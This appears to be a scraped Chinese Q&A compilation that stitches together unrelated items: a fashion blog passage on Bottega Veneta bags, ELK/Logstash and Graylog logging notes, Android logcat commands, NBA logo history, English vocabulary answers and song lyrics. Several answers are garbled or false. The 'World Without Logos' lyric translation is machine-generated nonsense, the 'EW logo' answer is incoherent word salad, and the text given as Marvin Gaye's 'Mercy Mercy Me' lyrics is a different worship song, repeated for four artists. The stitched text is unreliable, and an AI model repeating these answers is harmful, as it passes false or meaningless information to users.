亮丽的红色在秋冬十分抢眼,与众不同。很容易搭配出时髦感,但最好像这位模特一样,全身的搭配不超过三种颜色。 看来那么多的穿搭参考图,总结下来,Mini Jodie很减龄,休闲又日常。喜欢的可以入手哦 4 Cassette系列 Cassette翻译过来就是卡带包,以磁带方盒为设计灵感,把传统的粗编织改为细编织,瞬间洋气了许多,保留了品牌灵魂又符合现代审美。 一看到这张宣传图就能想到它的极致柔软,就像人的第二层皮肤。 今年Cassette系列最火的要数枕头包。柔软的编织,鼓鼓囊囊的包型像极了一个枕头。 麂皮款的长得更像一个抱枕,叫它枕头包,当之无愧。 软填充的设计,瞬间把2D升级到3D,肉肉的感觉,同时又自带高级冷艳气质增加 时尚 感,这个反差萌太爱啦。 看着这个包笨笨的,其实它一点都不重,很轻巧,夸张点说是轻如鸿毛。 把带子抽出来一半又可以当腋下包或者单肩包,好像一下子就买三个包,斜挎包、腋下包、手包都有了,超值! 别看它软,其实回弹力特别好,就算是有重物的压痕,也能匀速回弹,看不出丝毫痕迹。而且容量也很可观。 肩带那里做了BV特有的三角扣设计,个性鲜明。 Cassette系列可以说是男女通吃,男生背这只包也很有时髦感。井柏然在机场时就有背一只白色的枕头包搭配灰色套装,休闲与 时尚 兼备。 链条款的枕头包更具个性,更前卫,色彩鲜明,很容易表达自己的 时尚 态度。 链条看似粗旷,但也能体现女性的柔美,身材瘦小的吴宣仪完完全全可以驾驭住,而且很 时尚 。 如果有想入手的中年宝宝可以参考一下俞飞鸿的搭配,衣服的颜色不要过于花哨,款式简洁为宜。 再看戚薇手上这款经典的cassette,这款要比枕头包瘦一大圈,十分简约。 这只包算中规中矩没有特别出挑,方形的设计,加上新颖的宽编织,我觉得它更加经典耐看。 成熟女人选择这款,百搭又不易出错。特殊场合还可以把肩带收起来,当作一个手包来用,感觉立马就可以去参加晚会了。 梅婷背的是红色款,很显她大女人的气质,日常背一背,很亮眼、又有节日氛围感。 但这只包的配色让我特别惊喜,鹅黄色的这款,很高级的莫兰迪黄,特别适合在春夏选择它。 每看一款都有被他们家的配色惊艳到,这个冰蓝色仙气十足,搭配白衬衫很容易穿出极简性冷淡风。 卢璐说, 写了这么多文章,我发现我总在 时尚 中,强调实用,我也追求美,但希望我喜欢的东西又美又实用,有点小贪心啦! 所以我每次购物都会精挑细选,做足功课,不是因为买不起,而是为了让这只包在我的生活中更好地体现它的价值。 这个时代,种草很简单,拔草也很快乐,东西适不适合自己,自己最知道。

下降2个log是多少

下降2个log相当于病毒携带量下降百分之99。Arrowhead公布了其RNAi乙肝药物ARO-HBV的初步临床数据,2个低剂量组(100毫克、200毫克)治疗3个月后,表面抗原HBsAg平均降低2log(99%),最高者降低4log(99.99%),并且副作用轻微。

如何在CentOS 7上安装Elasticsearch,Logstash和Kibana

这个博客看一下ubuntu和centos差不多网页链接

es/logstash/kibana框架是用于什么

ELK 由三部分组成elasticsearch、logstash、kibana,elasticsearch是一个近似实时的搜索平台,它让你以前所未有的速度处理大数据成为可能。Elasticsearch所涉及到的每一项技术都不是创新或者革命性的,全文搜索,分析系统以及分布式数据库这些早就已经存在了。它的革命性在于将这些独立且有用的技术整合成一个一体化的、实时的应用。Elasticsearch是面向文档(document oriented)的,这意味着它可以存储整个对象或文档(document)。然而它不仅仅是存储,还会索引(index)每个文档的内容使之可以被搜索。在Elasticsearch中,你可以对文档(而非成行成列的数据)进行索引、搜索、排序、过滤。这种理解数据的方式与以往完全不同,这也是Elasticsearch能够执行复杂的全文搜索的原因之一。应用程序的日志大部分都是输出在服务器的日志文件中,这些日志大多数都是开发人员来看,然后开发却没有登陆服务器的权限,如果开发人员需要查看日志就需要到服务器来拿日志,然后交给开发;试想下,一个公司有10个开发,一个开发每天找运维拿一次日志,对运维人员来说就是一个不小的工作量,这样大大影响了运维的工作效率,部署ELKstack之后,开发任意就可以直接登陆到Kibana中进行日志的查看,就不需要通过运维查看日志,这样就减轻了运维的工作。日志种类多,且分散在不同的位置难以查找:如LAMP/LNMP网站出现访问故障,这个时候可能就需要通过查询日志来进行分析故障原因,如果需要查看apache的错误日志,就需要登陆到Apache服务器查看,如果查看数据库错误日志就需要登陆到数据库查询,试想一下,如果是一个集群环境几十台主机呢?这时如果部署了ELKstack就可以登陆到Kibana页面进行查看日志,查看不同类型的日志只需要电动鼠标切换一下索引即可。Logstash:日志收集工具,可以从本地磁盘,网络服务(自己监听端口,接受用户日志),消息队列中收集各种各样的日志,然后进行过滤分析,并将日志输出到Elasticsearch中。Elasticsearch:日志分布式存储/搜索工具,原生支持集群功能,可以将指定时间的日志生成一个索引,加快日志查询和访问。Kibana:可视化日志Web展示工具,对Elasticsearch中存储的日志进行展示,还可以生成炫丽的仪表盘。

ELK logstash日志正则匹配?

你根本就没写ip2当然只能匹配到一个ip了(?<ip1>[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})[, ]*?(?<ip2>[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}) - - [(?<时间>[^ ]+ +[0-9]+)] "(?<请求类型>[A-Z]+) (?<请求网址>[^ ]+) (?<页面类型>[^ ]+)" (?<请求状态>[0-9]+) (?<请求大小>[0-9]+) "(?<来源网址>[^ ]+)" "(?<浏览器类型>[^"]+)" "(?<IP3>[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})

elk-logstash时区问题

使用版本:elk6.0 配置文件:logstash.confg 问题:如图14号的数据,结果采集到了15号,慢了8小时,希望得到的结果,是凌晨0点索引自动切换 原因: 原来Logstash用的UTC时间, logstash在按每天输出到elasticsearch时,因为时区使用utc,造成每天8:00才创建当天索引,而8:00以前数据则输出到昨天的索引查看一些论坛,不建议更改源码,因为logstash和elasticsearch是按照UTC时间的,kibana却是按照正常你所在的时区显示的 解决:修改logstash配置 logstash在按每天输出到elasticsearch时,因为时区使用utc,造成每天8:00才创建当天索引,而8:00以前数据则输出到昨天的索引 在logstash filter 解决   1. 增加一个字段,计算timestamap+8小时 2. 用mutate插件先转换为string类型,gsub只处理string类型的数据,在用正则匹配,最终得到想要的日期 3.output配置

分布式日志系统Graylog、Loki及ELK的分析和对比

日志系列: 企业级日志平台新秀Graylog,比ELK轻量多了 日志系统新贵Loki,比ELK轻量多了 1. 为什么需要集中的日志系统? 在分布式系统中,众多服务分散部署在数十台甚至是上百台不同的服务器上,要想快速方便的实现查找、分析和归档等功能,使用Linux命令等传统的方式查询到想要的日志就费时费力,更不要说对日志进行分析与归纳。 如果有一个集中的日志系统,便可以将各个不同的服务器上面的日志收集在一起,不仅能方便快速查找到相应的日志,还有可能在众多日志数据中挖掘到一些意想不到的关联关系。 作为DevOps工程师,会经常收到分析生产日志的需求。在机器规模较少、生产环境管理不规范时,可以通过分配系统账号,采用人肉的方式登录服务器查看日志。然而高可用架构中,日志通常分散在多节点,日志量也随着业务增长而增加。当业务达到一定规模、架构变得复杂,靠人肉登录主机查看日志的方式就会变得混乱和低效。解决这种问题的方法,需要构建一个日志管理平台:对日志进行汇聚和分析,并通过Web UI授权相关人员查看日志权限。 2. 日志系统选择与对比 关于企业级日志管理方案,比较主流的是ELK stack和Graylog。 常见的分布式日志系统解决方案有经典的ELK和商业的splunk。为什么没有选择上面的两种方案呢,原因主要是如下两种: ELK目前很多公司都在使用,是一种很不错的分布式日志解决方案,但是需要的组件多,部署和维护相对复杂,并且占用服务器资源多,此外kibana也在高版本中开始商业化。 splunk是收费的商业项目,不在考虑范围。 3. 认识graylog 3.1 简介 graylog是一个简单易用、功能较全面的日志管理工具,graylog也采用Elasticsearch作为存储和索引以保障性能,MongoDB用来存储少量的自身配置信息,master-node模式具有很好的扩展性,UI上自带的基础查询与分析功能比较实用且高效,支持LDAP、权限控制并有丰富的日志类型和标准(如syslog,GELF)并支持基于日志的报警。 在日志接收方面通常是网络传输,可以是TCP也可以是UDP,在实际生产环境量级较大多数采用UDP,也可以通过MQ来消费日志。 3.2 优势 部署维护简单 资源占用较少 查询语法简单易懂(对比ES的语法…) 内置简单的告警 可以将搜索结果导出为 json UI 比较友好 3.3 graylog单机架构图 3.4 graylog集群架构 4、基于 GrayLog & ELK 的日志监控 Collector FileBeat:轻巧占用资源少,但是功能有点弱。「想起了一些东西,都是泪」 Fluentd:个人理解在Logstash与FileBeat中间,可以简单处理一些日志,插件丰富「要再研究下」 自己弄:架构图里面只是mysql调用了自己实现的解析工具,但是其实当日志大到一定的量的还是必须自己来的,类似日志抽样、降级、控制频率等功能,是要真真切切的花费大量时间精力下去的一个sidecar并非动动嘴巴就能搞定的。「都是泪」 Queue Kafka:王者地位「量小的时候也可以不用这个直接朝后面输出,有很多中间方案大家自己脑补」,不同的日志分不同的topic,严格区分日志所属类型,为后续消费打下基础,比如A业务进入A Topic并在日志中打上所属语言类型的Tag。 Consumer Logstash:其实这个东西也可以作为收集端来使用,就是比较耗费资源有点重,还会莫名其妙挂了「应该是我不会玩」 GrayLog:本人最喜欢的一个组件,集解析、报警、简单分析、Dashboard、日志TTL的综合体,有这个东西吧其实Kibana就没啥用了,毕竟谁没事天天去分析日志。 Storage ElasticSearch:全文索引Engine,其实并没有官方说的那么牛,当到一定的并发写入、大量查询之后其实根本不是加机器能解决的,怎么分shard,是按照天保存还是按照条数保存「我比较喜欢按照条数保存,这样可以保证每个index都差不多大小,对于reblance是有好处的,重复利用多盘」如何保存是需要不断调整的。「我们这边不讨论MongoDB去存日志,看着都不靠谱」 规范 其实日志系统最关键的是怎么打、什么格式打、但是这个东西需要消耗大量的时间去定义与各个部门Pk,遇到过大量不讲理的输出,直接线上Debug,600k的并发写入,日志又大又臭谁能扛得住「阿里云的SLS是真的很牛」 卷起袖子加油干,少动嘴,多动手,日志很好玩。在容器化的大环境下也越发的重要。 Flunted + Elasticsearch + Kibana的方案,发现有几个缺点: 不能处理多行日志,比如Mysql慢查询,Tomcat/Jetty应用的Java异常打印 不能保留原始日志,只能把原始日志分字段保存,这样搜索日志结果是一堆Json格式文本,无法阅读。 不符合正则表达式匹配的日志行,被全部丢弃。 对比图 总结 虽然两种解决方案在功能上非常相似,但仍有一些差异需要考虑。 两者之间最重要的区别在于,从一开始,Graylog就定位为强大的日志解决方案,而ELK则是大数据解决方案。Graylog可以通过网络协议直接从应用程序接收结构化日志和标准syslog。相反,ELK是使用Logstash分析已收集的纯文本日志的解决方案,然后解析并将它们传递给ElasticSearch。 在ELK中,Kibana扮演仪表盘的角色并显示从Logstash收到的数据。Graylog在这点上更方便,因为它提供了单一应用程序解决方案(不包括ElasticSearch作为灵活的数据存储),具有几乎相同的功能。因此,部署所需的时间更短。此外,与ELK相比,Graylog开箱即用,且具有出色的权限系统,而Kibana则不具备此功能。作为Elasticsearch的粉丝,我更喜欢Graylog而不是ELK,因为它完全符合我在日志管理方面的需求。 Graylog具有直观的GUI,并提供警报、报告和自定义分析功能。最重要的是,它能在多个日志源和跨机房收集数TB的数据。基于这些优势,我更喜欢用Graylog而不是另一个具有类似功能的流行堆栈——ELK。 如果有需要领取免费资料的小伙伴们, 可以点击此处领取资料哦!

logging的意思

  data logging  英 [ˈdeitə ˈlɔɡiŋ] 美 [ˈdetə ˈlɔɡɪŋ]  [释义]数据资料记录;  [网络]巡回检测; 数据记录,数据采集; 数据采集;  [例句]Such data logging and telemetry have made what used to be more of an art into an exact science.  这些数据记载和遥测装置已从过去较常用于艺术,进阶成为精密的科学。

KIO24 三个字母帮我设计一个logo,像NBA明星一样!!!

杰里-韦斯特(JERRY WEST). 据NBA标志设计者说,NBA标志的原型绝对是Jerry West。但NBA一直不承认这一点,因为这样Jerry West可以要求极高额的肖像使用费。 杰里-韦斯特 英文名:Jerry West 出生:1938年5月28日 身高:1.88米 NBA生涯:1960—1974年 司职:前锋 主要荣誉: ①1960年获罗马奥运会篮球金牌; ②10次入选NBA最佳阵容; ③1972年获NBA总冠军戒指; ④1969年当选季后赛最有价值球员。 杰里-韦斯特是那种淡泊名利的人。 1997年2月9日,在NBA50周年金赛季全明星周末,被选出的50名NBA历史上最伟大的球星被邀请到全明星赛现场接受这一荣誉和观众的祝贺以及媒介的采访。但是实际上到场的只有47位明星,除了因病去世的著名球星皮特-马拉维奇和因伤无法前来的湖人队中锋奥尼尔,唯一一位没有前来参加50名巨星聚会的入选者便是现任湖人队经理杰里-韦斯特。韦斯特1938年5月28日出生于西弗吉尼亚的卡宾格里克。韦斯特在他的篮球生涯中先后当过运动员,教练员和球队经理。在每一行中他都表现出过人的才华,成为人们常谈的传奇故事。 韦斯特是一位攻守兼备的全能型选手,但是人们更多地是把他作为一名真正的神投手来回忆。每当比赛到了要一锤定音的关键时刻,湖人队的队友们总是千方百计地将球传到韦斯特手中,让他来进行生死攸关的一击。结果他总能不负重望,一球定胜负。在无数次这样的关键一球之后,人们送他一个绰号“关键先生”。他在1970年和纽约尼克斯队争夺总冠军中的关键一球至今成为球迷津津乐道的奇闻。 1970年的总决赛,湖人队和尼克斯队在前两场比赛中战成1比1平。在第三场比赛最后3秒钟,尼克斯队以102比100领先。湖人队中锋张伯伦发进界外球后,韦斯特运了3次球,然后从接近60英尺(约合18米)开外远投,球竟然空心穿网而过。但是由于没有实行3分球,双方战成102平进入加时赛。虽然最后湖人队108比111输了这场比赛,并以1比4的总比分输掉了总决赛,但是这些都已经为人们所淡忘,而韦斯特这个“关键”一球却被人们永远地谈论着。 韦斯特和许多NBA球星一样小时家境贫寒。他在初中时候曾落选过棒球队,田径队和橄榄球队,然而这位性格内向,顽强不屈的少年在自家后院泥泞的篮球场上废寝忘食地刻苦练习,终于掌握了一种快速出手的投篮技术。在这段艰苦的自我训练中,韦斯特由于营养不良而瘦骨嶙峋,一度不得不注射维生素来维持健康。但是他终于以自己的球技加入了高中篮球队,并带领东岸高中校队夺得全国高中冠军,并且成为西弗吉尼亚第一位一个赛季得分超过900分的少年英雄。当时曾有60所大学愿意为他提供优厚奖学金,但是韦斯特决意留在家乡的西弗吉尼亚大学。1959年带领校对连续第三次夺得全美大学联赛的冠军并获得“最出色选手”的称号。1960年韦斯特代表美国参加了罗马奥运会并获得金牌。 1960年韦斯特被明尼阿波利斯湖人队在新秀选拔大会中第一轮第二位选中。当年湖人队的总部由明尼阿波利斯转往洛杉矶,从此韦斯特为湖人队效力整整14个赛季,9次带领湖人队闯进总决赛,但是只有在1972年夺得他NBA生涯中唯一一次总冠军。在他效力湖人队的14年,以25192分成为湖人队得分最多的队员。 除了加入NBA的第一个赛季,韦斯特在其他13个赛季中得分都超过了20分,并在1962,1965,1966和1970年四个赛季平均每场得分超过30分。在他退役时,总得分排在NBA历史上第三位,而且也是第三个突破25000分大关的NBA选手;每场平均27分名列NBA第四;7150个罚球列NBA第二;6238次助攻列NBA第五。在韦斯特14个NBA赛季中,每年都入选西部全明星联队,10次入选NBA最佳阵容,4次入选NBA最佳防守阵容。1969年,当选NBA季后赛最有价值球员。 观众不仅记得韦斯特百步穿杨的神射术和他攻手全面的技术风格,对于他在压力之下,临危不乱的气质更是赞不绝口。由于对手常常采用伤害性动作对付他,韦斯特的鼻子至少被打断过9次。人们时常看到受伤的韦斯特是被对友们搀扶着进入比赛场地,但比赛开始后他却勇不可挡,在夺得30甚至40分之后,又在比赛后被人搀扶着离开场地。在他参加的159场季后赛中,平均每场得29.1分,在11场比赛中得分超过40.6分。 1976年,退役后告别篮球两年的韦斯特重新回到了湖人队,担任主教练。在他执教的3年中,湖人队回到季后赛八强行列。1980年韦斯特入选NBA35周年纪念最伟大的球员之一。1982年,韦斯特出任湖人队的总经理,一手建立了雄霸整个80年代的“湖人王朝”。1994—1995赛季,韦斯特被评为NBA最佳经理。目前大家看到的湖人新生代中的主力队员埃克塞尔,琼斯,坎贝尔,以及已经分别转往夏洛特黄蜂队的南斯拉夫中锋迪瓦茨和转往太阳队的前锋塞巴洛斯等球星多是被他慧眼选中。1996—1997赛季开始之前,韦斯特又完成了NBA历史上金额最高的转会交易,用一亿两千万美元将成为自由人的前奥兰多魔术队的中锋奥尼尔转到湖人队。 韦斯特在1979年入选美国篮球名人堂。 P.S.:那个标志绝对是在MJ之前就有了。不过偶们一群人都在期待虾米时候可以把这个标志换成MJ的fade-away,或者是他最经典的那个logo. 杰里.韦斯特,可以说是NBA的代言人.曾效力于洛山矶湖人队,现在是孟菲斯灰熊队的总经理.由于他的动作非常标准,所以用他的控球动作作为NBA的标志. 96年用迪瓦茨将高中生科比从黄蜂换到湖人的就是此

The World Without Logos歌词翻译

没有理法的世界不要是凉爽的振动Revlofantasy告诉我愚弄脱口秀日子和雨每个演员的身份检定不要阻塞惊骇显示内部的变黑Jus suc ra ra 表示惊讶哦没有隐匿遗嘱不您购买谷显示拿我对说话的旋转想要没有 havea 韩圜干酪让层显示(没有需要 cha 已经有晚场秀吗)Diviphon de 让烦恼以星状物装饰Shooby dooby doo shooby dooby doo durulShooby dooby doo shooby dooby doo durul人面兽心者微笑到那绝对的Revoluflymachine调节蓝色的 GJus sekiran哦没有隐匿遗嘱不您购买谷显示拿我对说话的旋转想要没有 havea 韩圜干酪让层显示Diviphon de 让烦恼以星状物装饰Shooby dooby doo shooby dooby doo durulShooby dooby doo shooby dooby doo durul

login timed outplease try again 100036什么意思?

login timed out please try again 100036的意思是登录超时,请重试100036。

EW怎么设计成logo

EW怎么设计成logo。ew是一种专门制作的标签设计软件,在图文排版设计中,它是一款非常适合设计的图片、图标以及图形设计,这种设计软件,通过操作一款简单快速的制作logo设计。是一款非常好用的图片处理软件,简单易用,无需设计基础,一款操作精练而强大的矢量图软件。如果你是一款喜欢自己的事情,可以给你的客户设计一个logo图标。是一款专业的快速原型设计工具,让负责定义需求和规格、设计功能和界面的专家能够快速创建应用软件或web网站的线框图、流程图、原型和规格说明文档。作为专业的原型设计工具,它能快速、高效的创建原型的各种配置。是美国公司旗舰产ar软件,ui。做原型图以及2017年ui趋势产品设务,ui设计师,这两大产品当中。交互设计师。工作内得到主持式的。软件产品设计师。

android 如何用cmd方法查看logcat呀

adb logcat >d:/1.txt 这是将logcat打印到 在1.text(自动创建)中。你打印logcat的东西要在D盘里面

华为手机logcat怎么打开

使用cmd命令查看logcat使用adblogcat命令可查看android系统和应用的logadblogcat//显示全部日志adblogcat>c: est.log//将日志输出保存到文件test.loglogcat日志中的优先级/tag标记:android输出的每一条日志都有一个标记和优先级与其关联。优先级是下面的字符,顺序是从低到高:V—明细verbose(最低优先级)D—调试debugI—信息infoW—警告warnE—错误errorF—严重错误fatalS—无记载silent标记是一个简短的字符串,用于标识原始消息的来源。如下是一个日志输出的消息,优先级是“D”,标记是“PowerManagerService”:D/PowerManagerService(305):onSensorChanged:lightvalue:306.0可根据tag标记和级别过滤日志输出:仅输出标记为“ActivityManager”且优先级大于等于“Info”和标记为“PowerManagerService”并且优先级大于等于“Debug”的日志:adblogcatActivityManager:IPowerManagerService:D*:S注:*:S用于设置所有标记的日志优先级为S,这样可以确保仅输出符合条件的日志。adblogcat*:W//显示所有优先级大于等于“warning”的日志adblogcat-sPowerManagerService//显示PowerManagerService的日志信息Logcat命令列表:-d将日志显示在控制台后退出-c清理已存在的日志-f将日志输出到文件adblogcat-f/sdcard/test.txt-v设置日志输入格式控制输出字段,默认的是brief格式brief—显示优先级/标记和原始进程的PID(默认格式)process—仅显示进程PIDtag—仅显示优先级/标记thread—仅显示进程:线程和优先级/标记raw—显示原始的日志信息,没有其他的元数据字段time—显示日期,调用时间,优先级/标记,PIDlong—显示所有的元数据字段并且用空行分隔消息内容adblogcat-vthread//使用thread输出格式注意-v选项中只能指定一种格式。-b加载一个可使用的日志缓冲区供查看,默认值是main。radio—查看包含在无线/电话相关的缓冲区消息events—查看事件相关的消息main—查看主缓冲区(默认缓冲区)adblogcat-bradio//查看radio缓冲区

一个服装品牌,它的LOGO 是只老鹰。 是什么牌子呀

1

开机出现Checking file system on F, 卡在了correcting errors in the log file

貌似是非正常关机或者其他原因导致硬盘出问题了,如果系统不是装在F盘,可以开机时选择取消检查文件系统,应该能进系统,然后再找其他工具尝试检查修复f盘吧。

英语长篇阅读 smart home technology

英语长篇阅读 smart home technology并没有指出文章内容以及题目。英语阅读理解的解题技巧具体如下:细节题解题技巧:细节题的命题方法很多,如可能是对某个细节用同义结构转换后进行考查、也可能是将文章中的几个细节(通常是四个)放在一起要求考生判断是非(选出正确的一项或选出错误的一项)或对几个细节进行排序等。解答这类试题时,一个常用的方法就是运用定位法,即根据题干或选项中的线索词从原文中找到相关的句子,与选项进行比较从而确定答案(此时要特别注意一些常见的同义转换)。扩展资料:英语中仍然保留的曲折变化有:所有格:He is Fred"s best friend. -"s动词的第三人称单数:Alfredo works. -s过去时:Fred worked. -ed ,但亦有不规则变化。现在分词/进行时态:Fred is working. -ing(如果动词的末音节为辅音结尾的闭音节,则须双写末辅音,如running)过去分词:The car was stolen. -en;Fred has talked to the police. -ed,但亦有不规则变化。动名词:Working is good for the soul. -ing复数:Fred has two blue eyes. -s(如果名词的尾字是s、x或sh,则需加-es,如boxes,dishes)比较级:Fred is smarter than Rick.形容词末尾加-er,多音节(3+)在前面加more,如“more difficult”最高级:Fred has the fastest car.形容词末尾加-est,多音节(3+)词在前面加most,如“the most difficult”

求帮忙ps中国好声音logo

parallel/counterpart/analogous这三个词有什么区别

首先,analogous只做形容词,意思是sth similar in some way to another thing,即相似的,但程度轻,比如“睡眠在某种意义上类似于死亡”就用analogous,这个词比较正式,一般用在书面语。而counterpart只做名词,指a person or thing that has the same position or function as sb/sth in differ,也就是(作用相当的)人或物(但某意义上相对应),这个词一般用于指代前文提到的对应,比如前文提到了男鞋,那counterpart就可以代替女鞋,两者虽然相似,但又相对应,偏书面语。parallel可以作名词动词形容词,都有相似之意,这个词用得比较普遍,very similar or taking place at the same time,它的本意是平行的,所以强调程度很重,基本相等,可以认为是极其相似,平时说的相似,除了similar,就是这个词比较多。

parallel/counterpart/analogous这三个词有什么区别

首先,analogous只做形容词,意思是sthsimilarinsomewaytoanotherthing,即相似的,但程度轻,比如“睡眠在某种意义上类似于死亡”就用analogous,这个词比较正式,一般用在书面语。而counterpart只做名词,指apersonorthingthathasthesamepositionorfunctionassb/sthindiffer,也就是(作用相当的)人或物(但某意义上相对应),这个词一般用于指代前文提到的对应,比如前文提到了男鞋,那counterpart就可以代替女鞋,两者虽然相似,但又相对应,偏书面语。parallel可以作名词动词形容词,都有相似之意,这个词用得比较普遍,verysimilarortakingplaceatthesametime,它的本意是平行的,所以强调程度很重,基本相等,可以认为是极其相似,平时说的相似,除了similar,就是这个词比较多。

Vlog是什么呢?

vlog是视频日志的意思,我猜的,现在很多人拍vlog做自媒体的

Business terminology: Markup 与 Margin 有什么区别?

markup和margin要按照百分比来区分。例如:我们有一块蛋糕,成本70元,售价100元。那么他的markup和margin都是100-70=30元。区别在于:1.markup的百分比是以成本为基础,所以是30/70≈42.85%。2.margin的百分比是以售价为基础,所以是30/100=30%。

祖·玛珑Grapefruit Cologne葡萄柚香水怎么样

是一款专为男士和女士(中性)设计的香水,推出时间不详。这款香水的香调为果香族。调香师是Jo Malone。 前调为:葡萄柚、橘子 中调为:迷迭香、薄荷、柿子椒、茉莉花 基调为:香根草、广藿香、橡苔这个其实也蛮好闻的,但是没有太多的前中后调,稍微有点单薄的感觉,如果买大瓶可能不太愿意买。总体不错

verilog中 句点有什么用

以.CLK( CLK ),为例,.CLK表示led3_module中的端口,( CLK )表示当前模块的端口,.CLK( CLK )就表示把这两个端口衔接起来。请采纳~

technology与skill的区别

technology 指的是技术,倾向于客观的,例如 information technologyskill 指的是技能 例如 语言技能 language skill

谁能提供给我weblogic上跑jaas的实例

看不懂,太专业了~~~~~~~~~~~~

log级别error是错误,fatal是致命,那么silent是什么意思,verbose又是什么

Mercy Mercy Me (The Ecology) 歌词

Mercy Mercy Me (The Ecology) 歌词 歌曲名:Mercy Mercy Me (The Ecology) 歌手:Marvin Gaye 专辑:I Heard It Through The Grapevine / What"S Going On MERCY, MERCY Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us MERCY MERCY :music.baidu./song/8123670 Mercy Mercy Me (The Ecology) (Album Version) 歌词 歌曲名:Mercy Mercy Me (The Ecology) (Album Version) 歌手:Richard Evans 专辑:Dealing With Hard Times MERCY, MERCY Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us MERCY MERCY :music.baidu./song/12513705 Mercy Mercy Me [The Ecology] [Live From Live Earth] 歌词 歌曲名:Mercy Mercy Me [The Ecology] [Live From Live Earth] 歌手:Corinne Bailey Rae & John Legend 专辑:Live Earth - The Concerts For A Climate In Crisis MERCY, MERCY Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us MERCY MERCY :music.baidu./song/8482550 Mercy Mercy Me 歌词 歌曲名:Mercy Mercy Me 歌手:Jason Miles 专辑:What S Going On? Songs Of Marvin Gaye MERCY, MERCY Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Oh Lord Here we are again The people that bear Your name Lifting our hands In praises to You In adoration Beholding Your glory Oh Lord We worship You Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Won"t You shine on us Mercy, mercy May the God of mercy Shine on us Shine on us Mercy, mercy May the God of mercy Shine on us Shine on us MERCY MERCY :music.baidu./song/2653468

如何理解 Pulsar 中 backlog,TTL,Retention 和 Storage Size

本文是 https://www.jianshu.com/p/31e7d4e5aa42 系列的第二篇,主要从 Pulsar 设计的原理以及在 BookKeeper 中如何存储做一个梳理。 在社区中,我们经常可以看到用户有关 backlog,storage size 和 retention 等策略的困惑,比较常见的一些问题,诸如: 首先,我们先来看一下 Pulsar 的消息模型 如上图所示,Pulsar 提供了最基本的 pub-sub 的处理模型。 首先 Producer 端生产消息,将消息以 append 的形式追加到 topic 中,这里具体分发到哪一个 topic 中,根据消息是否设置了 msg key 会有所不同。 在 consumer 之外,Pulsar 抽象了一层订阅层,用于订阅 topic。通过订阅层的抽象,Pulsar 可以灵活的支持 Queue 和 Streaming 这两种类型的消息队列。每一个 sub 都可以拿到这个 topic 中所有数据的完整 copy,有点类似 kafka 中的 consumer group。根据订阅类型的不同,每一个订阅下面可以有一个或者多个 consumer 来接收消息。 目前,Pulsar 支持如下四种消息订阅模型: 这就意味着,当 producer 成功发送消息到 Topic 之后,这个消息只会在存储层存储一次,无论你有多少个 Subscription 订阅到这个 topic 中,实际上操作的都是同一份数据。基于这个基础,我们可以看到 Apache Pulsar 从上到下的层级抽象概念如下图所示: 首先第一层抽象是 Topic(Partition),用来存储 Producer 追加的 messages 信息,Topic 之下对应的是一个个的 ledger,ledger 里面又划分为一个个的分片,在一个个的分片中存储了更小粒度的 ertries,entries 中存储的是 【一条】或者 【一个 batch】 的消息。 在这里最直白的解释其实就是,为了确保数据被在每一个 bk 节点中打的足够散,分布的足够均匀。这也是分层分片架构设计的好处之一。 在 Pulsar 中支持了两种 Ack 的机制,分别是单条 Ack 和批量 Ack。单条 Ack(AckIndividual)是指 consumer 可以根据消息的 messageID 